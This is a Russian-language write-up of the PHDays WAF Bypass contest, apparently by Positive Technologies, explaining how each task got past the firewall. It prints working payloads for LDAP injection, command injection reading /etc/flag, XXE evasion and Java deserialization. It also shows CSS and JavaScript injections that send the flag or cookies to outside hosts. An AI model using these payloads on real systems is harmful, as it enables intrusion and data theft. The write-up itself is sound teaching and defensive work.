В рамках международного форума по практической безопасности Positive Hack Days в очередной раз состоялся конкурс WAF Bypass. Как и прежде, задачей участников было решение заданий путем обхода проверок PT Application Firewall, защищавшего уязвимые веб-приложения. Каждое из заданий подразумевало заложенные нами варианты обхода, которые были возможны из-за специально допущенных ошибок в конфигурации. Цель каждого задания — получить флаг, который мог храниться в базе данных, в файловой системе или в Cookie, выдаваемых специальному боту. Описание заданий и способы их решения под катом.
1. m0n0l1th
В этом задании участникам было необходимо провести LDAP-инъекцию и извлечь пароль администратора из LDAP-хранилища. Имелась форма ввода имени пользователя, которое напрямую попадало в запрос к LDAP.
Стандартные вектора вроде admin)(|(password=*)
блокировались регулярным выражением, однако обход был возможен при использовании пробельных символов между операндами в запросе:
admin)(%0a|(password=*)
Далее, для получения пароля было необходимо применить метод подбора для каждого символа:
...admin)(%0a|(password=a*)
admin)(%0a|(password=a3*)
admin)(%0a|(password=a3b*)
admin)(%0a|(password=a3b8*)
admin)(%0a|(password=a3b8b*)
admin)(%0a|(password=a3b8ba*)
2. p0tat0
Открыв задание, участник получал следующую страницу:
Часть HTML-кода была при этом такой:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Caesar was here</title><link rel="stylesheet" href="/index.php/../styles.css"><meta name="flag" content="browser bot has flag ;)"><script src="/index.php/../scripts.js"></script></head>
На что здесь необходимо обратить внимание? В первую очередь, на объявление переходного синтаксиса HTML в DOCTYPE. Это значит, что будет работать нестрогий парсинг CSS. Вторая особенность — это наличие флага между тэгами link и script и отсутствие переводов строк.
Казалось бы, атакующий не может как-то повлиять на эту статичную страничку, однако если отправить запрос вида /index.php/test, то можно было увидеть, что путь отражается в тэгах link и script. При этом отображается та же страница вместо ошибки 404. Это возможно благодаря особенностям работы веб-сервера Apache (впрочем, такое поведение присутствует не только у него).
Очень похоже на XSS, однако любые кавычки и открывающие тэги экранировались. Для решения этого задания было необходимо применить другой способ, а именно Relative Path Overwrite. RPO эксплуатирует нестрогий парсинг CSS в браузерах, что позволяет заставить жертву корректно интерпретировать инъекцию CSS-стилей в HTML-документе. Внедренные CSS-стили могут использоваться для отправки персональных данных пользователя на сторонний сервер. Сама инъекция происходит через путь:
/index.php/%250a*%7B%7D%250abody%7Bbackground:red%7D%250a/
При таком запросе браузер подгрузит CSS-стиль по пути:
/index.php/%0a*{}%0abody{background:red}%0a//../styles.css
В ответе среди HTML-кода браузер увидит валидные CSS-стили:
<link rel="stylesheet" href="/index.php/
*{}
body{background:red}
/styles.css/../styles.css">
Боевой эксплоит для данного задания подразумевает использование CSS-свойств, которые позволят отправить на сторонний сервер флаг, находящийся между двумя фрагментами текста под контролем атакующего. Пример:
/index.php/')%7D%250a%250a*%7B%7D%250abody%7Bbackground:url('https://test.com/
Однако в задании мы запретили ключевые слова CSS-свойств, которые позволяют сделать запрос на другой сайт:
- import
- content
- image
- background
- font
Но не все :) Если посмотреть все известные способы, перечисленные в проекте HTTP Leaks, а также обратить внимание, что в исходном коде присутствует список, то можно было обнаружить, что свойство list-style не блокируется:
/index.php/')%7D%250a%250a*%7B%7D%250abody%7Blist-style:url('https://test.com/
Такой запрос заставит бота на PhantomJS отправить флаг:
3. d3rr0r1m
По традиции в рамках конкурса WAF Bypass было задание на обход XXE — инъекцию внешних сущностей XML. Однако в этот раз никому не удалось обойти наши проверки и найти заложенный обход. Блокировались любые вариации инъекции — через внешние обычные сущности, параметрические сущности, DOCTYPE и др. Внимание надо было обратить на обработку XML в разных кодировках — если закодировать тело в UTF-16 Big Endian командой cat x.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
, при этом удалив BOM-метку, то можно было обойти проверки и прочитать флаг из файловой системы.
4. f0dn3
В данном задании участник получал доступ к простому ToDo-менеджеру, который умел сохранять и восстанавливать из файла список дел:
Если открыть этот файл в hex-редакторе, то можно было сразу понять, что внутри сериализованный Java-объект (по magic-байтам 0xac 0xed в начале).
Десериализация Java-объектов, поступающих от пользователя, при наличии уязвимых библиотек может привести к выполнению произвольных команд на сервере. В CLASSPATH мы специально включили commons-collections 4, позволяющий провести RCE. Однако на стороне PT Application Firewall мы запретили две строки, которые присутствуют в эксплоитах ysoserial, являющимся популярным инструментом для реализации данной уязвимости. Первая строка — это собственно «ysoserial», а вторая — «iTransformers», которая присутствует в трех их пяти эксплоитов ysoserial. Для решения задания было необходимо переименовать классы и имена пакетов, исключив строку «ysoserial», при этом воспользовавшись одним из эксплоитов без строки «iTransformers».
5. n0ctf
На странице задания присутствовал простой ping-сервис с формой ввода IP-адреса. Как же здесь не попробовать кавычку? И, действительно, пользовательcкие данные напрямую попадали в вызов системных команд. Несмотря на то, что большинство способов внедрения команд блокировались, были возможны следующие варианты:
8.8.8.8|${IFS}cat /etc/flag
-c 1 ya.ru;/*in/cat /etc/flag
1.2.3.4|${a-cat /etc/flag}
6. c1tyf
Для решения этого задания было необходимо обойти проверку на Cross-Site Scripting в контексте JavaScript-кода. Алгоритм проверки был описан мной и Денисом Колеговым в рамках нашего доклада "Waf.js: как защищать веб-приложения с помощью JavaScript", который мы представили на Positive Hack Days VI. Вкратце, мы пытаемся подставить пользовательские данные в различные контексты и распарсить то, что получилось как JavaScript-код. Если AST-дерево построено, и в нем пристутствуют запрещенные ноды, то блокируем такой запрос. Например, простейший вариант "+alert(1)+"
будет заблокирован, так как после подстановки в контекст с двойными кавычками в AST-дереве появится запрещнный узел CallExpression. Однако для конкурса в списке запрещенных узлов отсутствовал узел WithStatement, что позволяло обойти проверку с помощью оператора with:
http://c1tyf.waf-bypass.phdays.com/?name="};with(window){onload=function(){ with(document){k=cookie;};with(window){location='http://robotsfreedom.com/phdays/?a=test'%2bk;};}}//;
And the winner is...
Победителем конкурса в третий раз подряд стал Георгий Носеевич (@webpentest), в качестве приза ему достался iPad Air 2. Второе место занял другой постоянный участник конкурса Иван Новиков (d0znpp), он был награжден годовой лицензий Burp Suite Pro. Третье же место и сувенирная продукция PHDays достались Владасу Булавасу (vladvis).
И напоследок немного пирожков. В ходе конкурса были заблокированы 31412 запросов.
Распределение по категориям атак:
Распределение по заданиям:
Спасибо призерам и всем, кто участвовал!
Арсений Реутов (Raz0r), Игорь Каныгин (akamajoris), Дмитрий Нагибин, Денис Колегов, Николай Ткаченко, Павел Свиридов и PT Application Firewall Team.
Автор: Positive Technologies